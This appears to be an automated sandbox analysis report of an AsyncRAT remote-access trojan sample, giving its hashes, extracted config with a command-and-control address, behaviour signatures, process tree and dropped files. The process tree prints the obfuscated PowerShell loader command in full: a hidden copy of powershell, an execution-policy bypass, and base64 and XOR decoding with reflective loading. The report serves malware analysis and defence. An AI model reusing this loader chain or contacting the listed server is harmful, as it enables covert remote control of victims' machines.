Analysis

  • max time kernel
    90s
  • max time network
    92s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240221-en
  • resource tags

    arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    22/03/2024, 09:08

General

  • Target
    54e9430a1c598a4d842c72f3140a90970f8ed50714ea036242c6f5aee5718215.exe
  • Size 4.3MB
  • Sample240322-k35a8sae92
  • SHA256 54e9430a1c598a4d842c72f3140a90970f8ed50714ea036242c6f5aee5718215
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • asyncrat

Version
  • 1.0.7

Botnet
  • Default

C2
  • 45.128.96.133:8848

Mutex
  • DcRatMutex_qwqdanchun

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Async RAT payload 1 IoCs
  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\54e9430a1c598a4d842c72f3140a90970f8ed50714ea036242c6f5aee5718215.exe
    "C:\Users\Admin\AppData\Local\Temp\54e9430a1c598a4d842c72f3140a90970f8ed50714ea036242c6f5aee5718215.exe"
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:2996
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\run.vbs"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3696
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\SearchUI.exe
        "C:\Users\Admin\AppData\Local\Temp\RarSFX0\SearchUI.exe"
        3⤵
        • Executes dropped EXE
        PID:4240
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\install.EXE
        "C:\Users\Admin\AppData\Local\Temp\RarSFX0\install.EXE"
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of WriteProcessMemory
        PID:1988
        • C:\Windows\SYSTEM32\cmd.exe
          cmd /c Client.bat
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2532
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo F"
            5⤵
              PID:2812
            • C:\Windows\system32\xcopy.exe
              xcopy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pshell.exe /y
              5⤵
                PID:4828
              • C:\Windows\system32\attrib.exe
                attrib +s +h pshell.exe
                5⤵
                • Sets file to hidden
                • Views/modifies file attributes
                PID:3988
              • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\pshell.exe
                pshell.exe -noprofile -windowstyle hidden -executionpolicy bypass -command $czHZrA = (Get-Content -path 'C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Client.bat' -raw).Split([Environment]::NewLine);$mEhEQd = $czHZrA[$czHZrA.Length - 1];$WBuOXY = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('dXNpbmcgU3lzdGVtLlRleHQ7dXNpbmcgU3lzdGVtLklPO3VzaW5nIFN5c3RlbS5JTy5Db21wcmVzc2lvbjsgcHVibGljIGNsYXNzIEtUTE1lVCB7IHB1YmxpYyBzdGF0aWMgYnl0ZVtdIGdORnVZZChieXRlW10gaW5wdXQsIHN0cmluZyBrZXkpIHsgYnl0ZVtdIGtleWMgPSBFbmNvZGluZy5VVEY4LkdldEJ5dGVzKGtleSk7IGZvciAoaW50IGkgPSAwOyBpIDwgaW5wdXQuTGVuZ3RoOyBpKyspIHsgaW5wdXRbaV0gPSAoYnl0ZSkoaW5wdXRbaV0gXiBrZXljW2kgJSBrZXljLkxlbmd0aF0pOyB9IHJldHVybiBpbnB1dDsgfSBwdWJsaWMgc3RhdGljIGJ5dGVbXSBwZEVhd2soYnl0ZVtdIGJ5dGVzKSB7IE1lbW9yeVN0cmVhbSBtc2kgPSBuZXcgTWVtb3J5U3RyZWFtKGJ5dGVzKTsgTWVtb3J5U3RyZWFtIG1zbyA9IG5ldyBNZW1vcnlTdHJlYW0oKTsgdmFyIGdzID0gbmV3IEdaaXBTdHJlYW0obXNpLCBDb21wcmVzc2lvbk1vZGUuRGVjb21wcmVzcyk7IGdzLkNvcHlUbyhtc28pOyBncy5EaXNwb3NlKCk7IG1zaS5EaXNwb3NlKCk7IG1zby5EaXNwb3NlKCk7IHJldHVybiBtc28uVG9BcnJheSgpOyB9IH0='));Add-Type -TypeDefinition $WBuOXY;[System.Reflection.Assembly]::Load([KTLMeT]::pdEawk([KTLMeT]::gNFuYd([System.Convert]::FromBase64String($mEhEQd), 'JwiWtOSzpasVuhvSQrNM'))).EntryPoint.Invoke($null, (, [string[]] ('')))
                5⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2928
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\il4pogsx\il4pogsx.cmdline"
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:480
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES82EB.tmp" "c:\Users\Admin\AppData\Local\Temp\il4pogsx\CSCF65304C3599C44E7A27DE14027AAE849.TMP"
                    7⤵
                      PID:4064
                • C:\Windows\system32\attrib.exe
                  attrib -s -h pshell.exe
                  5⤵
                  • Views/modifies file attributes
                  PID:4056

        Network

              MITRE ATT&CK Enterprise v15

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              Downloads

              Client.bat

              • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Client.bat
              • Size 63KB
              • SHA256 2323c7926eb3e37d653270291922b8b0abb70259300ba080c379360f7adbfd74
              • MD5 SHA1 SHA512 SSDEEP

              pshell.exe

              • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\pshell.exe
              • Size 440KB
              • SHA256 c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
              • MD5 SHA1 SHA512 SSDEEP

              RES82EB.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RES82EB.tmp
              • Size 1KB
              • SHA256 e516d434b397709054b705f69038e4d578787b3af86c9d0eecce9065bd063ed3
              • MD5 SHA1 SHA512

              SearchUI.exe

              • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\SearchUI.exe
              • Size 11.5MB
              • SHA256 b2101ac849bea6cc83622bd09e51424f411eafab8090d3aff04e4d5f5c8b19ae
              • MD5 SHA1 SHA512 SSDEEP

              install.EXE

              • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\install.EXE
              • Size 199KB
              • SHA256 07a14df5ad376cbd221d8a125b9d0648fe5f5f744641a48ff4307ccfccdc510e
              • MD5 SHA1 SHA512 SSDEEP

              run.vbs

              • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\run.vbs
              • Size 432B
              • SHA256 90b7b77a3a6e4b935d0f757d5f714fcc41b96caec0a614be99aab114c69b6865
              • MD5 SHA1 SHA512

              __PSScriptPolicyTest_gqarjefs.pmd.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gqarjefs.pmd.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512

              il4pogsx.dll

              • Path C:\Users\Admin\AppData\Local\Temp\il4pogsx\il4pogsx.dll
              • Size 3KB
              • SHA256 7fe39e32b1e40322699f3387b346163e7af77edf739f50f096279d1e9913fee6
              • MD5 SHA1 SHA512

              CSCF65304C3599C44E7A27DE14027AAE849.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\il4pogsx\CSCF65304C3599C44E7A27DE14027AAE849.TMP
              • Size 652B
              • SHA256 eedcd686117dfd44ca4d9faf9ec880d5d3425d2ad3521fa11e81dc91bb5ef2c1
              • MD5 SHA1 SHA512

              il4pogsx.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\il4pogsx\il4pogsx.0.cs
              • Size 569B
              • SHA256 565c0c46bbd0323567ac6198e70e814090b980f3b389d62ad3a787e6ac7534bb
              • MD5 SHA1 SHA512

              il4pogsx.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\il4pogsx\il4pogsx.cmdline
              • Size 369B
              • SHA256 68d36eee42345d6c4702ebc775f8d0d4613ebc919ce22b411c0386f8ecab9079
              • MD5 SHA1 SHA512

              memory/2928-31-0x0000023DA2460000-0x0000023DA2470000-memory.dmp

              memory/2928-32-0x0000023DA2460000-0x0000023DA2470000-memory.dmp

              memory/2928-33-0x0000023DA2460000-0x0000023DA2470000-memory.dmp

              memory/2928-30-0x00007FFFABE70000-0x00007FFFAC932000-memory.dmp

              memory/2928-46-0x0000023DBA860000-0x0000023DBA868000-memory.dmp

              memory/2928-29-0x0000023DBA6D0000-0x0000023DBA6F2000-memory.dmp

              memory/2928-48-0x0000023DBA880000-0x0000023DBA89C000-memory.dmp

              memory/2928-49-0x0000023DBA8A0000-0x0000023DBA8B6000-memory.dmp

              memory/2928-50-0x00007FFFABE70000-0x00007FFFAC932000-memory.dmp